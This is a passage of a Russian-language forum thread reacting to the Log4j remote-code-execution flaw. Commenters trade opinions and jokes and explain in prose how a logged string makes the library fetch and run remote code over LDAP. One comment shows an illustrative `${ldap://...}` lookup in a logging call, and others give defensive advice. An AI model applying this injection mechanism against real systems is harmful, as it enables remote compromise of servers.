Выполнять логи - это конечно крипота та еще, но, я так понимаю, это ради производительности - если передавать уже готовое значение в логи, то его надо обязательно вычислить перед этим (а значит обратиться к этому лдапу, что-то передать, потом распарсить ответ итд), а логгер после этого может просто выбросить это значение, потому что уровень логгирования не тот.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #44 Ответы: #93, #158

60. Сообщение от Аноним (60), 10-Дек-21, 11:53 +/–

В банках доступ в интернет, да даже в соседний vlan закрыт. Так что ищите где-то еще.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #46 Ответы: #68

61. Сообщение от mos87 (ok), 10-Дек-21, 12:06 +3 +/–

глобально и надёжно

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #64, #119

63. Сообщение от Аноним (64), 10-Дек-21, 12:11 +/–

А вот если бы писали на Хаскеле...

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #79

64. Сообщение от Аноним (64), 10-Дек-21, 12:13 +/–

Надежно можно получать неофициальную информацию от кого угодно. Да там таких уязвимостей на много лет припасено.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #61 Ответы: #78

65. Сообщение от Аноним (65), 10-Дек-21, 12:14 +/–

Говоря откровенно, Log4j уже лет 10 как не рекомендуется использовать. Есть SLF4j и logback на замену.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #67, #86, #111, #131

66. Сообщение от лютый жабби__ (?), 10-Дек-21, 12:14 +2 +/–

>указатели можно?
можно конечно, смотря что. а ещё можно утечки памяти нагомнокодить, которые GC не сможет разгрести.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42 Ответы: #129

67. Сообщение от Аноним (67), 10-Дек-21, 12:25 +1 +/–

У нас в рекомендациях от архитектуры всё ровно наоброт, мол slf4j и logback уже давно мёртвые, а log4j2 ещё и лучше оптимизирован и вообще allocation-free. Хотя я когда то попал в дебри исходников log4j2 - опплевался.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65 Ответы: #75, #88, #165

68. Сообщение от Аноним (68), 10-Дек-21, 12:28 +2 +/–

И как вы online-банком если всё закрыто пользуйтесь? Только не говорите, что там исходящие соединения блокируются, это у единиц.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #60 Ответы: #137

69. Сообщение от Michael Shigorin (ok), 10-Дек-21, 12:30 –3 +/–

> как связаны реализация в языке и нечто криво реализованное на этом языке?
Надежда на серебрянопульность инструмента склонна отключать рассудок с весьма печальными последствиями.  Варианты могут быть самыми разными -- от "возьмём язык с автоматическим управлением памятью" до "попрыгаем на площади и покричим" или классического "построим соломенный самолёт", что характерно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #9 Ответы: #114

70. Сообщение от Аноним (70), 10-Дек-21, 12:34 +1 +/–

там чтобы уязвимость работали макака должна пользовательскую строку не как параметр добавить а явно приконкатинировать в сообщение с масками.
То есть джава-макаки не знают как работать с printf

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #83

72. Сообщение от Аноним (72), 10-Дек-21, 12:36 +1 +/–

Самое время задействовать умение настройки firewall.
Блокируем исходящие соединения на порт 389. При необходимости, впереди добавляем разрешающее правило с указанием нужных IP.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #81, #85

74. Сообщение от Michael Shigorin (ok), 10-Дек-21, 12:37 +/–

ls /
!

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #16

75. Сообщение от Аноним (65), 10-Дек-21, 12:45 +/–

Если пользоваться Spring, то logback официально рекомендуемый.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #67 Ответы: #166

77. Сообщение от лютый жабби__ (?), 10-Дек-21, 12:59 –3 +/–

>Там легаси проприетарь, которая возможно уже местами просто не поддерживается, но сертифицировать новую версию ДОРОГО
в УдмуртСельхозБанке разве только... )

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #37

78. Сообщение от Michael Shigorin (ok), 10-Дек-21, 13:04 +/–

> Да там таких уязвимостей на много лет припасено.
Вспомнилось: https://www.opennet.ru/openforum/vsluhforumID3/125836.html#85 (надеюсь, erthink со временем доберётся там своей рукой написать, о чём говорил -- попросил его).
PS: нашлись все три комментария в первоисточнике, процитировал там же.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #64

79. Сообщение от Michael Shigorin (ok), 10-Дек-21, 13:05 +/–

...да с таким же упованием на дело рук человеческих токмо...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #63

80. Сообщение от Аноним (80), 10-Дек-21, 13:06 +2 +/–

Причём тут java впринципе? Мамкины кодеры любят использовать тонны third-party фреймворков. Да, не спорю что так код писать быстрее но если нужно надежнее - не используй 3rd party если можешь обойтись, особенно для критически уязвимой инфраструктуры.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #89, #96, #128

81. Сообщение от пох. (?), 10-Дек-21, 13:11 +1 +/–

> Самое время задействовать умение настройки firewall.
> Блокируем исходящие соединения на порт 389.
ой, вендовая сеть легла. Кнутователь уже бежит в твою сторону.
Не, я не советую выяснять нужные адреса уже после добавления шибкоумной настройки. Могут успеть добежать с кнутом.

P.S. нет, периметр это хорошо и полезно, но вот беда - в любой большой сети всегда можно найти где-нибудь в дальнем-темном углу еще что-то уязвимое, что само по себе было бы безопасным поскольку никуда доступов не имеет и ничего ценного не содержит. Но на него может зайти сервер. И поскольку оба внутри периметра...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #72

82. Сообщение от morphe (?), 10-Дек-21, 13:16 +/–

eval нет, а используемые большинством библиотеки для логгирования в ldap не стучат)
Да и не выйдет там так просто подобное сделать, инфраструктура форматирования там встроена в язык, а не реализуется всеми подряд, + для всяких сущностей есть вещи удобнее чем коды форматирования

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49 Ответы: #87

83. Сообщение от morphe (?), 10-Дек-21, 13:18 +1 +/–

Неа, оно раскрывается уже после подстановки параметров в строку форматирования
Т.е .error("{}", userInput) тоже уязвим

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #70

84. Сообщение от Аноним (84), 10-Дек-21, 13:19 +/–

И с чужого банковского счёта перевод делать, ага

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #55

85. Сообщение от morphe (?), 10-Дек-21, 13:19 +1 +/–

В url можно свой порт передать, никто не заставляет сервер с ldap держать не на стандартном порту

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #72 Ответы: #104

86. Сообщение от morphe (?), 10-Дек-21, 13:21 +1 +/–

Много где slf4j стоит с log4j бекендом, из-за того что много существующих либ работают через log4j
Ну и наоборот бывает, log4j направленный в slf4j

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65

87. Сообщение от пох. (?), 10-Дек-21, 13:21 +2 +/–

> eval нет, а используемые большинством библиотеки для логгирования в ldap не стучат)
тысячигласс проверял, зуб дает? А то большинство из нас полагаю о такой нужной и полезной фиче в log4j тоже до сегодняшнего дня имели щастье не знать.
> Да и не выйдет там так просто подобное сделать, инфраструктура форматирования там
> встроена в язык, а не реализуется всеми подряд, + для всяких
так там все правильно форматируется, встроенными в язык средствами. Правильная получается строка для правильного обращения к ldap, не какой-нибудь вам off by one error или обращение в левую память. Кто бы мог подумать да и было ли ему чем, что в логах могут попадаться абсолютно любые строки?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #82 Ответы: #99, #164

88. Сообщение от ELF (ok), 10-Дек-21, 13:25 +2 +/–

он log4j 1х, это да, 10 лет из танка не вылезал

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #67 Ответы: #106

89. Сообщение от ELF (ok), 10-Дек-21, 13:28 +3 +/–

молодец, профессионала за версту видно

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #80

90. Сообщение от пох. (?), 10-Дек-21, 13:30 +2 +/–

Конечно, язык!
Сейчас так модно разрабатывать - ядерные реакторы, ракеты (особенно ракеты) и дро4ильные аппараты (хотя нет, там китаец на асме что-то накодил)
Потому что "время разработчиков" и все такое. Ты вот много вообще слышал о советских ракетах, бахнувших прямо на стартовой площадке, даже не подпрыгнув? при том что это заря космонавтики, и все, абсолютно все приходилось изобретать с нуля и придумывать самим, и не всегда с первого раза правильно. Кроме одного общеизвестного случая с человеческими жертвами, которые потому и случились, что никто на самом деле не предвидел и считал недопустимой такую безобразную аварию не на макете и не на стенде. А масковы поделки бахают через одну - и ничего. Просто все уже умные и от старта держатся подальше пока не догорит.
И это ничуть не считается проблемой - бахнула на посадке? Невиданный успех! (потому что было сто шансов из ста что бахнет еще на взлете) - см not-a-kernel-guy для примера.
Сколько стоит ремонт стола и новая бочка с керосином - никто не знает, деньги бесконечные. Время кодерков - ооооочень дорого.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #50 Ответы: #103, #143, #151

91. Сообщение от OramahMaalhur (ok), 10-Дек-21, 13:30 +2 +/–

log4j2 != log4j
Лютое легаси - это про log4j. Если притащили log4j2 , значит, сравнительно недавно (по меркам легаси) разрабатывали.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10

92. Сообщение от Аноним (84), 10-Дек-21, 13:31 +10 +/–

Раньше надо было срывать стек, писать шелл-код на ассемблере, не ошибиться с адресами на удалённой машине. А теперь процесс-жертва услужливо подтянет Java байт-код атакующего прямо из Интернета и аккуратно вставит в себя, не нарушив целостность стека и процесса, автоматически проинициализирует твой код, будет за ним мусор собирать. Красота! :)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #115, #118, #120, #171

93. Сообщение от OramahMaalhur (ok), 10-Дек-21, 13:35 +/–

>а логгер после этого может просто выбросить это значение, потому что уровень логгирования не тот
logger.isInfoEnabled()

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59 Ответы: #146

94. Сообщение от Аноним (94), 10-Дек-21, 13:41 +/–

Вполне ожидаемо от апача и жавы.

Ответить | Правка | Наверх | Cообщить модератору

96. Сообщение от OramahMaalhur (ok), 10-Дек-21, 14:11 +4 +/–

А вы таки переизобретаете логгер для критически уязвимой инфраструктуры каждого своего хелловолда?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #80 Ответы: #127

99. Сообщение от morphe (?), 10-Дек-21, 14:41 +2 +/–

А в Rust даже нет смысла подобное делать
Зачем в жаве чтение из ldap пихнули в строку шаблона? Потому что иногда полезно в приложении работать с id сущностей, а в логи выводить читабельные названия
Чтение из ldap - дорогая операция, а строка в лог может даже не попасть, и код вида
debug("auth failed for user {}", ldap.get(userId))
Будет делать лишнее дорогое действие, в отличии от строки вида
debug("auth failed for user ${ldap://server/...{}...}", userId);
(Это объяснение не надуманное, они действительно так мотивируют поддержку LDAP в логгере)
В Rust же есть макросы, с которыми код вида
debug!("auth failed for {:?}", ldap.get(user_id).await)
Будет раскрыт в подобное:
if logger.is_debug() {
logger.debug(format!("auth failed for {:?}", ldap.get(user_id).await))
}
Ну и естесно логгеру ничего не нужно лениво исполнять

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #87 Ответы: #101, #108

101. Сообщение от пох. (?), 10-Дек-21, 15:09 +/–

весь прикол в том что оно вовсе не "userid" получало.
Оно получало КОД который исполняясь возвращал возможно вовсе не userid а результат общения в чате с этим пользователем техподдержки, ну, например. Ну почему бы и нет.
Если бы оно получало статические данные из ldap - никому бы никакого вреда от этого не было. В лог, недоступный извне, можно записать какие-то данные - доступные извне. Ну и что.
Как именно в хрусте можно вызвать КОД по ссылке на блок данных полученных хз откуда - это к знатокам хруста.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #99 Ответы: #155

102. Сообщение от Аноним (42), 10-Дек-21, 15:10 +/–

Успагойся, то был просто растотроллинг.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #50 Ответы: #107

103. Сообщение от Аноним (39), 10-Дек-21, 15:12 +/–

> Конечно, язык!
Пох, как всегда, передергиваешь. Язык не должен знать в какой последовательности у коровы соски дергать, в компиляторе или рантайме не должно быть абстракций про коровье вымя, они должны быть  только в голове у проектировщика. То же и про самописную (по отношению к языку) систему логгирования. Мог бы быть наполовину прав, если бы эта система была частью языкового рантайма/системной библиотеки.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90 Ответы: #105

104. Сообщение от пох. (?), 10-Дек-21, 15:13 –1 +/–

> В url можно свой порт передать, никто не заставляет сервер с ldap
> держать не на стандартном порту
ffuck... и что, эта тварь туда и полезет? (я почти уверен что таки да, к*к*к*кодереюзе жеж, зачем нам как-то по особому парсить урл для лдапа. Ну и у кого с внутренних серверов конторы наглухо перекрыт 80й?)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #85

105. Сообщение от пох. (?), 10-Дек-21, 15:16 –2 +/–

>> Конечно, язык!
> Пох, как всегда, передергиваешь. Язык не должен знать в какой последовательности у
> коровы соски дергать, в компиляторе или рантайме не должно быть абстракций
> про коровье вымя, они должны быть  только в голове у
> проектировщика. То же и про самописную (по отношению к языку) систему
> логгирования. Мог бы быть наполовину прав, если бы эта система была
> частью языкового рантайма/системной библиотеки.
да-да, во всем виноват, помнити его - автор leftpad. Взял и сломал нам весь интернет. А не угребищный язык на котором логгер (или выравнивание пробелом) надо разрабатывать силами апач фаундейшн десять лет, иначе хрен запишешь строку в файл.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #103 Ответы: #149, #150

106. Сообщение от пох. (?), 10-Дек-21, 15:16 +/–

> он log4j 1х, это да, 10 лет из танка не вылезал
ты уверен что во второй версии нет той же самой фичи? Не может быть! Должны были добавить, а не убавить.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #88 Ответы: #113

107. Сообщение от Аноним (39), 10-Дек-21, 15:17 +1 +/–

> Успагойся, то был просто растотроллинг.
Ну неприятно испытывать испанский стыд из-за таких петросянов. Типа шутка-троллинг, правда ее регулярно рассказывают далеко не первый год. Должно надесть жрать одно и то же.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #102

108. Сообщение от Аноним (108), 10-Дек-21, 15:29 +1 +/–

Так и на яве можно сделать то же самое. И вообще как уже сказали суть уязвимости не в этом.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #99

109. Сообщение от IdeaFix (ok), 10-Дек-21, 16:12 +2 +/–

У бизнеса лог4ж-1.2  массово... все эти новые технологии в бизнес не придут еще 100 лет.

Ответить | Правка | Наверх | Cообщить модератору

111. Сообщение от Ololo (?), 10-Дек-21, 16:23 +1 +/–

Slf4j - по сути фасад, который можно навесить над разными логерами, в т.ч. log4j

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65

113. Сообщение от ELF (ok), 10-Дек-21, 16:38 +1 +/–

речь как раз про вторую версию - рекомендуемую (с дебильной фичей), а первую не рекомендуют использовать уж 10 лет, кстати новость была - Катастрофическая уязвимость в Apache log4j, из нее как-будто это про log4j 1.х , теперь желтуху убрали и с версией определились.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #106 Ответы: #145

114. Сообщение от ыы (?), 10-Дек-21, 16:40 –1 +/–

Любите вы Миша обобщать, и делать выводы космического масштаба.. а сами все лето в свитере проходили...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #69 Ответы: #123

115. Сообщение от ыы (?), 10-Дек-21, 16:42 +/–

О дивный новый мир!

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #92

116. Сообщение от ыы (?), 10-Дек-21, 16:44 +1 +/–

>Написал в чате > записало в логи > взлом
Вот и состав преступления...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #27

118. Сообщение от Онаним (?), 10-Дек-21, 16:55 +2 +/–

Можно даже от смузи не отрываться, да, я тоже оценил.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #92

119. Сообщение от Онаним (?), 10-Дек-21, 16:58 +2 +/–

> глобально и надёжно
Энтерпрайзно.
Logs-as-a-code.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #61

120. Сообщение от n00by (ok), 10-Дек-21, 17:13 +/–

Раньше мистеры Буггерс и Хуккерс предупреждали, что все умеют компелировать сплоет, а над ними смеялись.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #92

121. Сообщение от n00by (ok), 10-Дек-21, 17:22 +/–

> Ну возьми ...
> и напиши на нем безусловную загрузку извне любой произвольной блобятины
> ее последующий запуск
Изучите тему и не пишите подобное. Задача не решается в общем виде.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45

122. Сообщение от n00by (ok), 10-Дек-21, 17:41 +/–

Зато Eclipse после установки лагина приходится перезапускать.

Ответить | Правка | Наверх | Cообщить модератору

123. Сообщение от n00by (ok), 10-Дек-21, 17:47 +/–

Эту пулю ещё Фредерик Брукс в 1986-м обобщил.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #114 Ответы: #124

124. Сообщение от Аноним (124), 10-Дек-21, 18:06 +/–

Им читать некогде - видеокурсы же есть

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #123

125. Сообщение от Bogdan (??), 10-Дек-21, 18:29 +1 +/–

Она как бы опенсорс, господин. Ну и причем тут язык и платформа, если дело в либе, уже давно log4j - это легаси, то что некоторым лень уменьшит тех. долг - не проблема платформы

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17

126. Сообщение от Bogdan (??), 10-Дек-21, 18:31 +/–

Где вы такое последний раз видели ? И звучит странно "Что бы пкередать стрингу...." - в коком это контексте ? Куда передать ? RPC - это как бы не java-вая фигня

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #21

127. Сообщение от Онаним (?), 10-Дек-21, 21:04 +/–

Не надо переизобретать логгер.
Достаточно один раз его написать, и каждый хеллоуворлд сможет его юзать.
Но это будет не third-party код, в который нечаянно eval левые васяны уже не добавят.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #96

128. Сообщение от Онаним (?), 10-Дек-21, 21:05 +1 +/–

Абсолютно да. Third party только по абсолютной необходимости, всегда *хотя бы* с визуальным аудитом, без автообновления.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #80

129. Сообщение от barracuda92 (ok), 10-Дек-21, 21:49 +/–

у нас индусы написали автотесты в которых была статичная мапа в который все контексты валялись, все хедлесс браузеры, всё-всё в общем, при выделении 8 гб на тесты они падали с аут оф мемори))

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #66 Ответы: #140

131. Сообщение от hohoho (?), 10-Дек-21, 21:55 +/–

Глупость, куда твой slf4j логирует? Это интерфейс.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65 Ответы: #139

132. Сообщение от hohoho (?), 10-Дек-21, 21:59 +/–

В статье не упоминается что уязвимость в PatternLayout. Если вы используете другой лэйоут, например jsonовский EcsLayout, то бэкдор не работает.

Ответить | Правка | Наверх | Cообщить модератору

133. Сообщение от Аноним (133), 10-Дек-21, 22:32 –1 +/–

Есть мнение, что для отдельно взятой задачи сложность постоянна. Вопрос лишь в том, где она сконцентирирована - в твоём коде или в сторонних компонентах.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #16

134. Сообщение от Аноним (134), 10-Дек-21, 22:46 +/–

Вспоминается та недавняя уявзимость в imagemagick. Тоже ходило в интернет куда скажут.
Почему в мануалах ещё в отдельном разделе выделенном большими красными буквами не предупреждают, что программа/библиотека будет сама лазать куда-то в интернет в таких-то и таких-то случаях?

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #136

135. Сообщение от Аноним (-), 10-Дек-21, 23:07 –1 +/–

На жабе не пишу, но недавно приходилось прикручивать кое-какие поделки через JNI. С этого log4 плевался особенно долго. Где-то читал, что жабу ждет судьба кобола. Легаси сектор и хорошая зарплата кому уже пох и пенсия скоро.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #138, #147

136. Сообщение от Аноним (136), 11-Дек-21, 03:33 +1 +/–

По хорошему такого поведения без лишних телодвижений быть не должно и предупреждать тогда ни о чем не нужно. Безопасное поведение по умолчанию. В этом плане авторы log4j подложили свинью пользователям библиотеки.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #134

137. Сообщение от пох. (?), 11-Дек-21, 08:54 –1 +/–

Да нет, дол-еов тыщи же ж.
Вспоминая один из самых круто-обинтернетившихся в первых рядах Аван-гад 2010го примерно года розлива. Все ок, все пакеты кроме 443го tcp/established были заблокированы намертво. Все. Вообще все.
pmtud? Клиенты с pppoe у которых mtu не 1500 по всему линку ? Неееееа, не слышали!
А сделать ГРАМОТНО - это надо нанимать специалиста. Я ходил когда-то пособеседоваться. Мне сказали - "э... да я сам не знаю зачем тебе позвонил - нам такого не надо, нам бы попроще кого - ну там с ripe уметь переписываться и крошки со стола вытирать. А ты overqualified, иди найух."
Ну а иногда и специалист печально разводит руками, когда выясняется что госрегулятору надо нескучным restapi прямо на ходу что-то сливать и никак иначе. Причем то, куда сливать - в нескучном облачке мэйлcpy чтоб денег никому не платить. И где /18, в которой любой васян точно так же может поставить ханипот.
(тут тоже можно было бы побороться, но покажите мне банчок где ИБ может напрямую ставить задачи и менять ИТ проекты - "тут мы не нескучно дергаем libcurl, а разрабатываете отдельный прокси-сервер в отдельном изолированном сегменте, причем - с парсингом протокола а не безмозглым форвардом чего попало" - и приоритетнее чем задачи ставящиеся ошпаренными менеджерами по улучшайкингу)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #68 Ответы: #175

138. Сообщение от пох. (?), 11-Дек-21, 09:04 –1 +/–

Не читай ту глупую мурзилку больше.
Жабу ждет судьба кобола возведенного в факториал. Т.е. хороших зарплат будет больше чем способных их получить, поскольку разбираться в нагромождениях чужого кода это тебе не гуанокодить с нуля абы что, поэтому нанимать будут И тех кому пох и пенсия, и кто только что открыл учебник, и кто даже не открывал но нассал манагеру в уши. И всех на хорошую зарплату. И смогут морщить морду что смузи в этой лавке по утрам подают клубничный, а им нравится банановый, немедленно увольняюсь. Но их понадобятся миллионы, а не тысяча.
Учи жабу, сынок, учи - это беспроигрышно. Вооон сколько сейчас полезут пересобирать прожекты от которых ни доков ни понимания не осталось, но торчат наружу и используют нескучный log4j2

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #135 Ответы: #156

139. Сообщение от Аноним (-), 11-Дек-21, 09:42 +/–

> Глупость, куда твой slf4j логирует?
в logback, как выше написано

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #131

140. Сообщение от лютый жабби__ (?), 11-Дек-21, 11:49 –1 +/–

>при выделении 8 гб на тесты они падали с аут оф мемори
дедики с 64ГБ стоят 3 тыра в месяц. я б не работал в такой помойке, где раму жмотят )
а вчерашний студент после  курсов стоит 150+ тыр (плюсом налоги)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #129

141. Сообщение от Аноня (?), 11-Дек-21, 12:28 +/–

Сбеги в Бриташку и оттуда проверяй.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40

142. Сообщение от Аноня (?), 11-Дек-21, 12:34 +1 +/–

> так ты американские "проверяй"
А потом пожизненно прячься от выдачи в родных говеньях

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #47

143. Сообщение от john_erohin (?), 11-Дек-21, 13:10 +/–

> все, абсолютно все приходилось изобретать с нуля
да ладно. это фон Браун с камрадами изобретали с нуля.
потом они в качестве трофеев достались. кому-то сам фон Браун,
а кому-то его камрады. железо и документы 50/50.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90 Ответы: #144

144. Сообщение от пох. (?), 11-Дек-21, 13:32 –1 +/–

> да ладно. это фон Браун с камрадами изобретали с нуля.
ну так камрады и изобретали. Тов.Королев и другие ответственные товарищи - руководил.
Такого чтоб на старте рвануть даже еще до старта - себе не позволяли, инциденты на стендах и то были единичны и красной вехой в истори...в задницу впороты. Времена суровые были, партайгеноссе могли и в лагерь отправить, не умеешь проектировать с первого раза правильно - будешь напильником точить что другие напроектируют, а товарищи так и вовсе шлепнуть германского шпиена всегда готовы.
Ну и ресурсы надрывающейся промышленности берегли, конечно. А камрадов всегда можно новых нарожать.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #143

145. Сообщение от пох. (?), 11-Дек-21, 13:36 +/–

> речь как раз про вторую версию - рекомендуемую (с дебильной фичей), а
а, ну вот, теперь мир снова перевернут в нормальное положение.
В первой может и правда такой фичи еще не додумались - не рекомендую ее использовать, скучная она какая-то, не может внезапно с чужого ldap что-нить этакое исполнить.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #113

146. Сообщение от а (?), 11-Дек-21, 15:26 +/–

если всё руками делать, то можно и на С писать.
а тут можно просто сказать логгеру - "если что запиши значение вон оттудава", ничего не проверяя и не вычисляя
Л - удобство

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #93

147. Сообщение от Аноним (84), 11-Дек-21, 16:06 +/–

Программистам на Коболе так и не стали платить заоблачные зарплаты

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #135 Ответы: #152

148. Сообщение от InuYasha (??), 11-Дек-21, 17:12 +/–

Весь мир в труху, абсурд, коррупцию, хаос и скайнеты. )
PS: Java - и пусть весь мир подож..жёт. )

Ответить | Правка | Наверх | Cообщить модератору

149. Сообщение от Онаним (?), 11-Дек-21, 19:42 +/–

Да тут не в языке дело.
Тут чтобы палку-копалку выстругать - изобрели бензопилу, и попытались с её помощью палку заточить.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #105

150. Сообщение от Онаним (?), 11-Дек-21, 19:42 +/–

Это где-то около надувания щёк - посмотрите, как мы можем.
Не зря же есть хорошая фраза из математической старины: "упрощать - сложнее всего".

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #105

151. Сообщение от Михрютка (ok), 12-Дек-21, 00:24 +/–

будет врать-то.
союз на старте взрывался. протон на старте взрывался раз пять, не меньше.
как взрывалось на старте изделие 11А52, так это вообще словами не передать. Мишин после этого, говорят, год от Бармина прятался, тот ему пообещал за разнесенный фклочья стартовый комплекс морду набить.
янгелевские ракеты на испытаниях и на старте горели и в шахты падали.
>>>никто на самом деле не предвидел <...> такую безобразную аварию
не "не предвидел", а вывезли на старт недоработанную ракету. успеть к празднику торопились. "Результат немного предсказуем"

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90 Ответы: #153, #160

152. Сообщение от _ (??), 12-Дек-21, 03:45 +2 +/–

В России? Конечно не платят, откуда в ней софт на Коблое?!?!
В США к примеру - платят, их Java Senior Developerы завидуют аж до позеленения и квакаютЪ :)
Но всё имеет начало и конец - в облаках мэйнфреймов нет, сказка идёт к развязке.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #147 Ответы: #159, #163

153. Сообщение от n00by (ok), 12-Дек-21, 12:38 –1 +/–

> не "не предвидел", а вывезли на старт недоработанную ракету. успеть к празднику
> торопились. "Результат немного предсказуем"
Приплетаю тот самый Линдукс. Тоже ведь торопились к праздничку. Интересно, где оно бабахнет?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #151

154. Сообщение от spanjokus (ok), 12-Дек-21, 17:13 +/–

катастрофическая

Ответить | Правка | Наверх | Cообщить модератору

155. Сообщение от morphe (?), 12-Дек-21, 22:11 +/–

> весь прикол в том что оно вовсе не "userid" получало.
Я привёл пример того, как эту фичу задумывалось использовать, эксплуатация выглядит уже конечно не так
И это тож самое, ldap тут просто как деталь реализации жава резолвинга, в ldap лежит ссылка на код, а жава этот код грузит и исполняет
> Как именно в хрусте можно вызвать КОД по ссылке на блок данных
> полученных хз откуда - это к знатокам хруста.
Сам Rust такой возможности не предоставляет, максимум возможно подгрузить платформозависимый шеллкод, подготовить для него память (RWX страницы создать, опять же платформозависимым кодом), записать в неё что скачано с сервера, и передать туда управление (Ну и естесно код каким то образом должен найти все нужные ему библиотечные вызовы)
Делается это не так просто как жава .class файлы динамически подгружает

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #101

156. Сообщение от Аноним (-), 13-Дек-21, 03:14 +1 +/–

Вот уж действительно все плохо там у вас.
Не, снова учить всякую каку это уж слишком. Я ее только недавно забыл.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #138

157. Сообщение от Аноним (158), 13-Дек-21, 05:05 +/–

Даже в Amazon S3 проявляется

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40

158. Сообщение от Аноним (158), 13-Дек-21, 05:21 +/–

При необходимости передавать в логгер помимо строки раннер для нужных запросов (попросту колбэк), который максимум вернёт мап с параметрами, которые нужно в плейсхолдеры подставить. Тогда логгер сможет сам решить — нужно ему этот раннер дёргать или нет.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59 Ответы: #173

159. Сообщение от пох. (?), 13-Дек-21, 08:28 –1 +/–

> В России? Конечно не платят, откуда в ней софт на Коблое?!?!
> В США к примеру - платят, их Java Senior Developerы завидуют аж
> до позеленения и квакаютЪ :)
> Но всё имеет начало и конец - в облаках мэйнфреймов нет, сказка
> идёт к развязке.
будут эмулировать. Квалификация исчезает быстрее мэйнфреймов, поэтому переписать то от чего на самом деле зависят деньги - никто не возьмется. Те программисты-на-коболе - тем более не возьмутся, даже если бы могли именно переписать, а не по мелочи править тридцатилетний код, у них нет желания героически сделать мир чуточку хуже.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #152

160. Сообщение от пох. (?), 13-Дек-21, 08:35 –1 +/–

> Мишин после этого, говорят, год от Бармина прятался, тот ему пообещал
> за разнесенный фклочья стартовый комплекс морду набить.
А Маску - похрен, у него еще есть.  Бесконечные же ж...
>>>>никто на самом деле не предвидел <...> такую безобразную аварию
> не "не предвидел", а вывезли на старт недоработанную ракету. успеть к празднику
> торопились. "Результат немного предсказуем"
был бы он предсказуем - попрятались бы в бункер, а не расселись бы чинно на табуреточках. Не был он предсказуем, в том и дело.
Успеть к празднику означало работу круглые сутки без сна и выходных, а не что-то другое.
Варианты "давайте половину тестов не проводить, все равно нафиг не нужны" - это последних лет, с прогрессами и прочими детищами 90летних старцев, забывающих как их зовут и где кабинет.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #151 Ответы: #168

